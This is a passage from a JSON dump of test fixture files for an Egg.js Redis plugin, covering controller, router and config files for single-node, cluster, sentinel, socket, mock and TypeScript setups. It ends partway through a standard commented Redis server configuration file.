    "content": "module.exports = (app) => {\n  return class HomeController extends app.Controller {\n    async index() {\n      const { ctx, app } = this;\n      await app.redis.set('foo', 'bar');\n      ctx.body = await app.redis.get('foo');\n    }\n  };\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-disable-offline-queue/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/', 'home.index');\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-disable-offline-queue/config/config.js",
    "content": "'use strict';\n\nexports.redis = {\n  client: {\n    host: '127.0.0.1',\n    port: 6379,\n    password: '',\n    db: '0',\n    enableOfflineQueue: false,\n  },\n  agent: false,\n};\n\nexports.keys = 'keys';\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-disable-offline-queue/config/plugin.js",
    "content": "exports.redis = {\n  enable: true,\n  package: '@eggjs/redis',\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-disable-offline-queue/package.json",
    "content": "{\n  \"name\": \"redisapp\"\n}\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-mock/app/controller/home.js",
    "content": "module.exports = (app) => {\n  return class HomeController extends app.Controller {\n    async index() {\n      const { ctx, app } = this;\n      await app.redis.set('foo', 'bar');\n      ctx.body = await app.redis.get('foo');\n    }\n  };\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-mock/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/', 'home.index');\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-mock/config/config.js",
    "content": "const RedisMock = require('ioredis-mock');\n\nexports.redis = {\n  Redis: RedisMock,\n  client: {\n    host: '127.0.0.1',\n    port: 6379,\n    password: '',\n    db: 0,\n    weakDependent: true,\n  },\n};\n\nexports.logger = {\n  coreLogger: {\n    level: 'INFO',\n  },\n};\n\nexports.keys = 'keys';\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-mock/config/plugin.js",
    "content": "exports.redis = {\n  enable: true,\n  package: '@eggjs/redis',\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-mock/package.json",
    "content": "{\n  \"name\": \"redisapp-mock\"\n}\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-supportTimeCommand-false/app/controller/home.js",
    "content": "module.exports = (app) => {\n  return class HomeController extends app.Controller {\n    async index() {\n      const { ctx, app } = this;\n      await app.redis.set('foo', 'bar');\n      ctx.body = await app.redis.get('foo');\n    }\n  };\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-supportTimeCommand-false/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/', 'home.index');\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-supportTimeCommand-false/config/config.js",
    "content": "'use strict';\n\nexports.redis = {\n  client: {\n    host: '127.0.0.1',\n    port: 6379,\n    password: '',\n    db: '0',\n  },\n  agent: true,\n  supportTimeCommand: false,\n};\n\nexports.keys = 'keys';\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-supportTimeCommand-false/config/plugin.js",
    "content": "exports.redis = {\n  enable: true,\n  package: '@eggjs/redis',\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-supportTimeCommand-false/package.json",
    "content": "{\n  \"name\": \"redisapp\"\n}\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-weakdependent/app/controller/home.js",
    "content": "module.exports = (app) => {\n  return class HomeController extends app.Controller {\n    async index() {\n      const { ctx, app } = this;\n      await app.redis.set('foo', 'bar');\n      ctx.body = await app.redis.get('foo');\n    }\n  };\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-weakdependent/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/', 'home.index');\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-weakdependent/config/config.js",
    "content": "exports.redis = {\n  client: {\n    weakDependent: true,\n    host: '127.0.0.1',\n    port: 6379,\n    password: '',\n    db: '0',\n  },\n  agent: true,\n};\n\nexports.logger = {\n  coreLogger: {\n    level: 'INFO',\n  },\n};\n\nexports.keys = 'keys';\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-weakdependent/config/plugin.js",
    "content": "exports.redis = {\n  enable: true,\n  package: '@eggjs/redis',\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisapp-weakdependent/package.json",
    "content": "{\n  \"name\": \"redisapp-weakdependent\"\n}\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisclusterapp/app/controller/home.js",
    "content": "module.exports = (app) => {\n  return class HomeController extends app.Controller {\n    async index() {\n      const { ctx, app } = this;\n      await app.redis.set('foo', 'bar');\n      ctx.body = await app.redis.get('foo');\n    }\n  };\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisclusterapp/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/', 'home.index');\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisclusterapp/config/config.js",
    "content": "'use strict';\n\nexports.redis = {\n  client: {\n    cluster: true,\n    nodes: [\n      {\n        host: '127.0.0.1',\n        port: 7000,\n        password: '',\n        db: '0',\n      },\n      {\n        host: '127.0.0.1',\n        port: 7001,\n        password: '',\n        db: '0',\n      },\n    ],\n  },\n  agent: true,\n};\n\nexports.keys = 'keys';\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisclusterapp/config/plugin.js",
    "content": "exports.redis = {\n  enable: true,\n  package: '@eggjs/redis',\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redisclusterapp/package.json",
    "content": "{\n  \"name\": \"redisapp\"\n}\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redispathapp/app/controller/home.js",
    "content": "module.exports = (app) => {\n  return class HomeController extends app.Controller {\n    async index() {\n      const { ctx, app } = this;\n      await app.redis.set('foo', 'bar');\n      ctx.body = await app.redis.get('foo');\n    }\n  };\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redispathapp/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/', 'home.index');\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redispathapp/config/config.js",
    "content": "'use strict';\n\nexports.redis = {\n  client: {\n    path: '/tmp/redis.sock',\n  },\n  agent: true,\n};\n\nexports.keys = 'keys';\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redispathapp/config/plugin.js",
    "content": "exports.redis = {\n  enable: true,\n  package: '@eggjs/redis',\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redispathapp/package.json",
    "content": "{\n  \"name\": \"redisapp\"\n}\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redissentinelapp/app/controller/home.js",
    "content": "module.exports = (app) => {\n  return class HomeController extends app.Controller {\n    async index() {\n      const { ctx, app } = this;\n      await app.redis.set('foo', 'bar');\n      ctx.body = await app.redis.get('foo');\n    }\n  };\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redissentinelapp/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/', 'home.index');\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redissentinelapp/config/config.js",
    "content": "'use strict';\n\nexports.redis = {\n  client: {\n    sentinels: [\n      {\n        host: '127.0.0.1',\n        port: 26379,\n      },\n      {\n        host: '127.0.0.1',\n        port: 26380,\n      },\n    ],\n    name: 'mymaster',\n    password: '',\n    db: '0',\n  },\n  agent: true,\n};\n\nexports.keys = 'keys';\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redissentinelapp/config/plugin.js",
    "content": "exports.redis = {\n  enable: true,\n  package: '@eggjs/redis',\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/redissentinelapp/package.json",
    "content": "{\n  \"name\": \"redisapp\"\n}\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/ts/.gitignore",
    "content": "*.js"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/ts/redisapp-ts/app/controller/home.ts",
    "content": "import { Controller, Singleton } from 'egg';\nimport { Redis } from 'ioredis';\n\ndeclare module 'egg' {\n  interface IController {\n    home: HomeController;\n  }\n\n  interface EggApplicationCore {\n    redis: Redis & Singleton<Redis>;\n  }\n}\n\nexport default class HomeController extends Controller {\n  async index(): Promise<void> {\n    const { ctx, app } = this;\n    const redis = app.redis;\n    await redis.set('foo', 'bar');\n    const cacheValue = await redis.get('foo');\n    ctx.body = cacheValue;\n  }\n}\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/ts/redisapp-ts/app/router.ts",
    "content": "import { Application } from 'egg';\n\nexport default (app: Application): void => {\n  const controller = app.controller;\n  app.logger.info('debug');\n  app.get('/', controller.home.index);\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/ts/redisapp-ts/config/config.ts",
    "content": "'use strict';\n\nexport default {\n  keys: 'keys',\n  logger: {\n    level: 'INFO',\n  },\n  redis: {\n    client: {\n      host: '127.0.0.1',\n      port: 6379,\n      password: '',\n      db: '0',\n    },\n    agent: true,\n  },\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/ts/redisapp-ts/config/plugin.ts",
    "content": "export default {\n  redis: {\n    enable: true,\n    package: '@eggjs/redis',\n  },\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/ts/redisapp-ts/package.json",
    "content": "{\n  \"name\": \"redisapp-ts\",\n  \"version\": \"0.0.1\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/ts/redisapp-ts/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\",\n  \"compilerOptions\": {\n    \"strict\": true,\n    \"noImplicitAny\": true,\n    \"target\": \"ES2022\",\n    \"module\": \"NodeNext\",\n    \"moduleResolution\": \"NodeNext\"\n  }\n}\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/ts-multi/.gitignore",
    "content": "*.js"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/ts-multi/redisapp-ts/app/controller/home.ts",
    "content": "import { Controller, Singleton } from 'egg';\nimport { Redis } from 'ioredis';\n\ndeclare module 'egg' {\n  interface IController {\n    home: HomeController;\n  }\n\n  interface EggApplicationCore {\n    redis: Redis & Singleton<Redis>;\n  }\n}\n\nexport default class HomeController extends Controller {\n  async index(): Promise<void> {\n    const { ctx, app } = this;\n    // @deprecated please use `getSingletonInstance(id)` instead\n    const redis = app.redis.get('cache') as unknown as Redis;\n    await redis.set('foo', 'bar');\n    const redis2 = app.redis.getSingletonInstance('cache');\n    await redis2.set('foo2', 'bar2');\n    ctx.body = await redis.get('foo');\n  }\n}\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/ts-multi/redisapp-ts/app/router.ts",
    "content": "import { Application } from 'egg';\n\nexport default (app: Application): void => {\n  const controller = app.controller;\n  app.logger.info('debug');\n  app.get('/', controller.home.index);\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/ts-multi/redisapp-ts/config/config.ts",
    "content": "'use strict';\n\nexport default {\n  keys: 'keys',\n  logger: {\n    level: 'INFO',\n  },\n  redis: {\n    clients: {\n      session: {\n        host: '127.0.0.1',\n        port: 6379,\n        password: '',\n        db: '0',\n      },\n      cache: {\n        host: '127.0.0.1',\n        port: 6379,\n        password: '',\n        db: '1',\n      },\n    },\n    agent: true,\n  },\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/ts-multi/redisapp-ts/config/plugin.ts",
    "content": "export default {\n  redis: {\n    enable: true,\n    package: '@eggjs/redis',\n  },\n  // disable tegg plugins\n  teggEventbus: false,\n  tegg: false,\n  teggConfig: false,\n  teggController: false,\n  teggDal: false,\n  teggSchedule: false,\n  teggOrm: false,\n  teggAjv: false,\n  teggAop: false,\n};\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/ts-multi/redisapp-ts/package.json",
    "content": "{\n  \"name\": \"redisapp-ts\",\n  \"version\": \"0.0.1\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "plugins/redis/test/fixtures/apps/ts-multi/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\",\n  \"compilerOptions\": {\n    \"strict\": true,\n    \"noImplicitAny\": true,\n    \"target\": \"ES2022\",\n    \"module\": \"NodeNext\",\n    \"moduleResolution\": \"NodeNext\"\n  }\n}\n"
  },
  {
    "path": "plugins/redis/test/fixtures/redis/redispath-26381.conf",
    "content": "# Redis configuration file example.\n#\n# Note that in order to read the configuration file, Redis must be\n# started with the file path as first argument:\n#\n# ./redis-server /path/to/redis.conf\n\n# Note on units: when memory size is needed, it is possible to specify\n# it in the usual form of 1k 5GB 4M and so forth:\n#\n# 1k => 1000 bytes\n# 1kb => 1024 bytes\n# 1m => 1000000 bytes\n# 1mb => 1024*1024 bytes\n# 1g => 1000000000 bytes\n# 1gb => 1024*1024*1024 bytes\n#\n# units are case insensitive so 1GB 1Gb 1gB are all the same.\n\n################################## INCLUDES ###################################\n\n# Include one or more other config files here.  This is useful if you\n# have a standard template that goes to all Redis servers but also need\n# to customize a few per-server settings.  Include files can include\n# other files, so use this wisely.\n#\n# Notice option \"include\" won't be rewritten by command \"CONFIG REWRITE\"\n# from admin or Redis Sentinel. Since Redis always uses the last processed\n# line as value of a configuration directive, you'd better put includes\n# at the beginning of this file to avoid overwriting config change at runtime.\n#\n# If instead you are interested in using includes to override configuration\n# options, it is better to use include as the last line.\n#\n# include /path/to/local.conf\n# include /path/to/other.conf\n\n################################## MODULES #####################################\n\n# Load modules at startup. If the server is not able to load modules\n# it will abort. It is possible to use multiple loadmodule directives.\n#\n# loadmodule /path/to/my_module.so\n# loadmodule /path/to/other_module.so\n\n################################## NETWORK #####################################\n\n# By default, if no \"bind\" configuration directive is specified, Redis listens\n# for connections from all the network interfaces available on the server.\n# It is possible to listen to just one or multiple selected interfaces using\n# the \"bind\" configuration directive, followed by one or more IP addresses.\n#\n# Examples:\n#\n# bind 192.168.1.100 10.0.0.1\n# bind 127.0.0.1 ::1\n#\n# ~~~ WARNING ~~~ If the computer running Redis is directly exposed to the\n# internet, binding to all the interfaces is dangerous and will expose the\n# instance to everybody on the internet. So by default we uncomment the\n# following bind directive, that will force Redis to listen only into\n# the IPv4 loopback interface address (this means Redis will be able to\n# accept connections only from clients running into the same computer it\n# is running).\n#\n# IF YOU ARE SURE YOU WANT YOUR INSTANCE TO LISTEN TO ALL THE INTERFACES\n# JUST COMMENT THE FOLLOWING LINE.\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nbind 127.0.0.1\n\n# Protected mode is a layer of security protection, in order to avoid that\n# Redis instances left open on the internet are accessed and exploited.\n#\n# When protected mode is on and if:\n#\n# 1) The server is not binding explicitly to a set of addresses using the\n#    \"bind\" directive.\n# 2) No password is configured.\n#\n# The server only accepts connections from clients connecting from the\n# IPv4 and IPv6 loopback addresses 127.0.0.1 and ::1, and from Unix domain\n# sockets.\n#\n# By default protected mode is enabled. You should disable it only if\n# you are sure you want clients from other hosts to connect to Redis\n# even if no authentication is configured, nor a specific set of interfaces\n# are explicitly listed using the \"bind\" directive.\nprotected-mode yes\n\n# Accept connections on the specified port, default is 6379 (IANA #815344).\n# If port 0 is specified Redis will not listen on a TCP socket.\nport 26381\n\n# TCP listen() backlog.\n#\n# In high requests-per-second environments you need an high backlog in order\n# to avoid slow clients connections issues. Note that the Linux kernel\n# will silently truncate it to the value of /proc/sys/net/core/somaxconn so\n# make sure to raise both the value of somaxconn and tcp_max_syn_backlog\n# in order to get the desired effect.\ntcp-backlog 511\n\n# Unix socket.\n#\n# Specify the path for the Unix socket that will be used to listen for\n# incoming connections. There is no default, so Redis will not listen\n# on a unix socket when not specified.\n#\nunixsocket /tmp/redis.sock\nunixsocketperm 777\n\n# Close the connection after a client is idle for N seconds (0 to disable)\ntimeout 0\n\n# TCP keepalive.\n#\n# If non-zero, use SO_KEEPALIVE to send TCP ACKs to clients in absence\n# of communication. This is useful for two reasons:\n#\n# 1) Detect dead peers.\n# 2) Take the connection alive from the point of view of network\n#    equipment in the middle.\n#\n# On Linux, the specified value (in seconds) is the period used to send ACKs.\n# Note that to close the connection the double of the time is needed.\n# On other kernels the period depends on the kernel configuration.\n#\n# A reasonable value for this option is 300 seconds, which is the new\n# Redis default starting with Redis 3.2.1.\ntcp-keepalive 300\n\n################################# GENERAL #####################################\n\n# By default Redis does not run as a daemon. Use 'yes' if you need it.\n# Note that Redis will write a pid file in /var/run/redis.pid when daemonized.\ndaemonize yes\n\n# If you run Redis from upstart or systemd, Redis can interact with your\n# supervision tree. Options:\n#   supervised no      - no supervision interaction\n#   supervised upstart - signal upstart by putting Redis into SIGSTOP mode\n#   supervised systemd - signal systemd by writing READY=1 to $NOTIFY_SOCKET\n#   supervised auto    - detect upstart or systemd method based on\n#                        UPSTART_JOB or NOTIFY_SOCKET environment variables\n# Note: these supervision methods only signal \"process is ready.\"\n#       They do not enable continuous liveness pings back to your supervisor.\nsupervised no\n\n# If a pid file is specified, Redis writes it where specified at startup\n# and removes it at exit.\n#\n# When the server runs non daemonized, no pid file is created if none is\n# specified in the configuration. When the server is daemonized, the pid file\n# is used even if not specified, defaulting to \"/var/run/redis.pid\".\n#\n# Creating a pid file is best effort: if Redis is not able to create it\n# nothing bad happens, the server will start and run normally.\npidfile /var/run/redis_26381.pid\n\n# Specify the server verbosity level.\n# This can be one of:\n# debug (a lot of information, useful for development/testing)\n# verbose (many rarely useful info, but not a mess like the debug level)\n# notice (moderately verbose, what you want in production probably)\n# warning (only very important / critical messages are logged)\nloglevel notice\n\n# Specify the log file name. Also the empty string can be used to force\n# Redis to log on the standard output. Note that if you use standard\n# output for logging but daemonize, logs will be sent to /dev/null\nlogfile \"\"\n\n# To enable logging to the system logger, just set 'syslog-enabled' to yes,\n# and optionally update the other syslog parameters to suit your needs.\n# syslog-enabled no\n\n# Specify the syslog identity.\n# syslog-ident redis\n\n# Specify the syslog facility. Must be USER or between LOCAL0-LOCAL7.\n# syslog-facility local0\n\n# Set the number of databases. The default database is DB 0, you can select\n# a different one on a per-connection basis using SELECT <dbid> where\n# dbid is a number between 0 and 'databases'-1\ndatabases 16\n\n# By default Redis shows an ASCII art logo only when started to log to the\n# standard output and if the standard output is a TTY. Basically this means\n# that normally a logo is displayed only in interactive sessions.\n#\n# However it is possible to force the pre-4.0 behavior and always show a\n# ASCII art logo in startup logs by setting the following option to yes.\nalways-show-logo yes\n\n################################ SNAPSHOTTING  ################################\n#\n# Save the DB on disk:\n#\n#   save <seconds> <changes>\n#\n#   Will save the DB if both the given number of seconds and the given\n#   number of write operations against the DB occurred.\n#\n#   In the example below the behaviour will be to save:\n#   after 900 sec (15 min) if at least 1 key changed\n#   after 300 sec (5 min) if at least 10 keys changed\n#   after 60 sec if at least 10000 keys changed\n#\n#   Note: you can disable saving completely by commenting out all \"save\" lines.\n#\n#   It is also possible to remove all the previously configured save\n#   points by adding a save directive with a single empty string argument\n#   like in the following example:\n#\n#   save \"\"\n\nsave 900 1\nsave 300 10\nsave 60 10000\n\n# By default Redis will stop accepting writes if RDB snapshots are enabled\n# (at least one save point) and the latest background save failed.\n# This will make the user aware (in a hard way) that data is not persisting\n# on disk properly, otherwise chances are that no one will notice and some\n# disaster will happen.\n#\n# If the background saving process will start working again Redis will\n# automatically allow writes again.\n#\n# However if you have setup your proper monitoring of the Redis server\n# and persistence, you may want to disable this feature so that Redis will\n# continue to work as usual even if there are problems with disk,\n# permissions, and so forth.\nstop-writes-on-bgsave-error yes\n\n# Compress string objects using LZF when dump .rdb databases?\n# For default that's set to 'yes' as it's almost always a win.\n# If you want to save some CPU in the saving child set it to 'no' but\n# the dataset will likely be bigger if you have compressible values or keys.\nrdbcompression yes\n\n# Since version 5 of RDB a CRC64 checksum is placed at the end of the file.\n# This makes the format more resistant to corruption but there is a performance\n# hit to pay (around 10%) when saving and loading RDB files, so you can disable it\n# for maximum performances.\n#\n# RDB files created with checksum disabled have a checksum of zero that will\n# tell the loading code to skip the check.\nrdbchecksum yes\n\n# The filename where to dump the DB\ndbfilename dump.rdb\n\n# The working directory.\n#\n# The DB will be written inside this directory, with the filename specified\n# above using the 'dbfilename' configuration directive.\n#\n# The Append Only File will also be created inside this directory.\n#\n# Note that you must specify a directory here, not a file name.\ndir /tmp\n\n################################# REPLICATION #################################\n\n# Master-Replica replication. Use replicaof to make a Redis instance a copy of\n# another Redis server. A few things to understand ASAP about Redis replication.\n#\n#   +------------------+      +---------------+\n#   |      Master      | ---> |    Replica    |\n#   | (receive writes) |      |  (exact copy) |\n#   +------------------+      +---------------+\n#\n# 1) Redis replication is asynchronous, but you can configure a master to\n#    stop accepting writes if it appears to be not connected with at least\n#    a given number of replicas.\n# 2) Redis replicas are able to perform a partial resynchronization with the\n#    master if the replication link is lost for a relatively small amount of\n#    time. You may want to configure the replication backlog size (see the next\n#    sections of this file) with a sensible value depending on your needs.\n# 3) Replication is automatic and does not need user intervention. After a\n#    network partition replicas automatically try to reconnect to masters\n#    and resynchronize with them.\n#\n# replicaof <masterip> <masterport>\n\n# If the master is password protected (using the \"requirepass\" configuration\n# directive below) it is possible to tell the replica to authenticate before\n# starting the replication synchronization process, otherwise the master will\n# refuse the replica request.\n#\n# masterauth <master-password>\n\n# When a replica loses its connection with the master, or when the replication\n# is still in progress, the replica can act in two different ways:\n#\n# 1) if replica-serve-stale-data is set to 'yes' (the default) the replica will\n#    still reply to client requests, possibly with out of date data, or the\n#    data set may just be empty if this is the first synchronization.\n#\n# 2) if replica-serve-stale-data is set to 'no' the replica will reply with\n#    an error \"SYNC with master in progress\" to all the kind of commands\n#    but to INFO, replicaOF, AUTH, PING, SHUTDOWN, REPLCONF, ROLE, CONFIG,\n#    SUBSCRIBE, UNSUBSCRIBE, PSUBSCRIBE, PUNSUBSCRIBE, PUBLISH, PUBSUB,\n#    COMMAND, POST, HOST: and LATENCY.\n#\nreplica-serve-stale-data yes\n\n# You can configure a replica instance to accept writes or not. Writing against\n# a replica instance may be useful to store some ephemeral data (because data\n# written on a replica will be easily deleted after resync with the master) but\n# may also cause problems if clients are writing to it because of a\n# misconfiguration.\n#\n# Since Redis 2.6 by default replicas are read-only.\n#\n# Note: read only replicas are not designed to be exposed to untrusted clients\n# on the internet. It's just a protection layer against misuse of the instance.\n# Still a read only replica exports by default all the administrative commands\n# such as CONFIG, DEBUG, and so forth. To a limited extent you can improve\n# security of read only replicas using 'rename-command' to shadow all the\n# administrative / dangerous commands.\nreplica-read-only yes\n\n# Replication SYNC strategy: disk or socket.\n#\n# -------------------------------------------------------\n# WARNING: DISKLESS REPLICATION IS EXPERIMENTAL CURRENTLY\n# -------------------------------------------------------\n#\n# New replicas and reconnecting replicas that are not able to continue the replication\n# process just receiving differences, need to do what is called a \"full\n# synchronization\". An RDB file is transmitted from the master to the replicas.\n# The transmission can happen in two different ways:\n#\n# 1) Disk-backed: The Redis master creates a new process that writes the RDB\n#                 file on disk. Later the file is transferred by the parent\n#                 process to the replicas incrementally.\n# 2) Diskless: The Redis master creates a new process that directly writes the\n#              RDB file to replica sockets, without touching the disk at all.\n#\n# With disk-backed replication, while the RDB file is generated, more replicas\n# can be queued and served with the RDB file as soon as the current child producing\n# the RDB file finishes its work. With diskless replication instead once\n# the transfer starts, new replicas arriving will be queued and a new transfer\n# will start when the current one terminates.\n#\n# When diskless replication is used, the master waits a configurable amount of\n# time (in seconds) before starting the transfer in the hope that multiple replicas\n# will arrive and the transfer can be parallelized.\n#\n# With slow disks and fast (large bandwidth) networks, diskless replication\n# works better.\nrepl-diskless-sync no\n\n# When diskless replication is enabled, it is possible to configure the delay\n# the server waits in order to spawn the child that transfers the RDB via socket\n# to the replicas.\n#\n# This is important since once the transfer starts, it is not possible to serve\n# new replicas arriving, that will be queued for the next RDB transfer, so the server\n# waits a delay in order to let more replicas arrive.\n#\n# The delay is specified in seconds, and by default is 5 seconds. To disable\n# it entirely just set it to 0 seconds and the transfer will start ASAP.\nrepl-diskless-sync-delay 5\n\n# Replicas send PINGs to server in a predefined interval. It's possible to change\n# this interval with the repl_ping_replica_period option. The default value is 10\n# seconds.\n#\n# repl-ping-replica-period 10\n\n# The following option sets the replication timeout for:\n#\n# 1) Bulk transfer I/O during SYNC, from the point of view of replica.\n# 2) Master timeout from the point of view of replicas (data, pings).\n# 3) Replica timeout from the point of view of masters (REPLCONF ACK pings).\n#\n# It is important to make sure that this value is greater than the value\n# specified for repl-ping-replica-period otherwise a timeout will be detected\n# every time there is low traffic between the master and the replica.\n#\n# repl-timeout 60\n\n# Disable TCP_NODELAY on the replica socket after SYNC?\n#\n# If you select \"yes\" Redis will use a smaller number of TCP packets and\n# less bandwidth to send data to replicas. But this can add a delay for\n# the data to appear on the replica side, up to 40 milliseconds with\n# Linux kernels using a default configuration.\n#\n# If you select \"no\" the delay for data to appear on the replica side will\n# be reduced but more bandwidth will be used for replication.\n#\n# By default we optimize for low latency, but in very high traffic conditions\n# or when the master and replicas are many hops away, turning this to \"yes\" may\n# be a good idea.\nrepl-disable-tcp-nodelay no\n\n# Set the replication backlog size. The backlog is a buffer that accumulates\n# replica data when replicas are disconnected for some time, so that when a replica\n# wants to reconnect again, often a full resync is not needed, but a partial\n# resync is enough, just passing the portion of data the replica missed while\n# disconnected.\n#\n# The bigger the replication backlog, the longer the time the replica can be\n# disconnected and later be able to perform a partial resynchronization.\n#\n# The backlog is only allocated once there is at least a replica connected.\n#\n# repl-backlog-size 1mb\n\n# After a master has no longer connected replicas for some time, the backlog\n# will be freed. The following option configures the amount of seconds that\n# need to elapse, starting from the time the last replica disconnected, for\n# the backlog buffer to be freed.\n#\n# Note that replicas never free the backlog for timeout, since they may be\n# promoted to masters later, and should be able to correctly \"partially\n# resynchronize\" with the replicas: hence they should always accumulate backlog.\n#\n# A value of 0 means to never release the backlog.\n#\n# repl-backlog-ttl 3600\n\n# The replica priority is an integer number published by Redis in the INFO output.\n# It is used by Redis Sentinel in order to select a replica to promote into a\n# master if the master is no longer working correctly.\n#\n# A replica with a low priority number is considered better for promotion, so\n# for instance if there are three replicas with priority 10, 100, 25 Sentinel will\n# pick the one with priority 10, that is the lowest.\n#\n# However a special priority of 0 marks the replica as not able to perform the\n# role of master, so a replica with priority of 0 will never be selected by\n# Redis Sentinel for promotion.\n#\n# By default the priority is 100.\nreplica-priority 100\n\n# It is possible for a master to stop accepting writes if there are less than\n# N replicas connected, having a lag less or equal than M seconds.\n#\n# The N replicas need to be in \"online\" state.\n#\n# The lag in seconds, that must be <= the specified value, is calculated from\n# the last ping received from the replica, that is usually sent every second.\n#\n# This option does not GUARANTEE that N replicas will accept the write, but\n# will limit the window of exposure for lost writes in case not enough replicas\n# are available, to the specified number of seconds.\n#\n# For example to require at least 3 replicas with a lag <= 10 seconds use:\n#\n# min-replicas-to-write 3\n# min-replicas-max-lag 10\n#\n# Setting one or the other to 0 disables the feature.\n#\n# By default min-replicas-to-write is set to 0 (feature disabled) and\n# min-replicas-max-lag is set to 10.\n\n# A Redis master is able to list the address and port of the attached\n# replicas in different ways. For example the \"INFO replication\" section\n# offers this information, which is used, among other tools, by\n# Redis Sentinel in order to discover replica instances.\n# Another place where this info is available is in the output of the\n# \"ROLE\" command of a master.\n#\n# The listed IP and address normally reported by a replica is obtained\n# in the following way:\n#\n#   IP: The address is auto detected by checking the peer address\n#   of the socket used by the replica to connect with the master.\n#\n#   Port: The port is communicated by the replica during the replication\n#   handshake, and is normally the port that the replica is using to\n#   listen for connections.\n#\n# However when port forwarding or Network Address Translation (NAT) is\n# used, the replica may be actually reachable via different IP and port\n# pairs. The following two options can be used by a replica in order to\n# report to its master a specific set of IP and port, so that both INFO\n# and ROLE will report those values.\n#\n# There is no need to use both the options if you need to override just\n# the port or the IP address.\n#\n# replica-announce-ip 5.5.5.5\n# replica-announce-port 1234\n\n################################## SECURITY ###################################\n\n# Require clients to issue AUTH <PASSWORD> before processing any other\n# commands.  This might be useful in environments in which you do not trust\n# others with access to the host running redis-server.\n#\n# This should stay commented out for backward compatibility and because most\n# people do not need auth (e.g. they run their own servers).\n#\n# Warning: since Redis is pretty fast an outside user can try up to\n# 150k passwords per second against a good box. This means that you should\n# use a very strong password otherwise it will be very easy to break.\n#\n# requirepass foobared\n\n# Command renaming.\n#\n# It is possible to change the name of dangerous commands in a shared\n# environment. For instance the CONFIG command may be renamed into something\n# hard to guess so that it will still be available for internal-use tools\n# but not available for general clients.\n#\n# Example:\n#\n# rename-command CONFIG b840fc02d524045429941cc15f59e41cb7be6c52\n#\n# It is also possible to completely kill a command by renaming it into\n# an empty string:\n#\n# rename-command CONFIG \"\"\n#\n# Please note that changing the name of commands that are logged into the\n# AOF file or transmitted to replicas may cause problems.\n\n################################### CLIENTS ####################################\n\n# Set the max number of connected clients at the same time. By default\n# this limit is set to 10000 clients, however if the Redis server is not\n# able to configure the process file limit to allow for the specified limit\n# the max number of allowed clients is set to the current file limit\n# minus 32 (as Redis reserves a few file descriptors for internal uses).\n#\n# Once the limit is reached Redis will close all the new connections sending\n# an error 'max number of clients reached'.\n#\n# maxclients 10000\n\n############################## MEMORY MANAGEMENT ################################\n\n# Set a memory usage limit to the specified amount of bytes.\n# When the memory limit is reached Redis will try to remove keys\n# according to the eviction policy selected (see maxmemory-policy).\n#\n# If Redis can't remove keys according to the policy, or if the policy 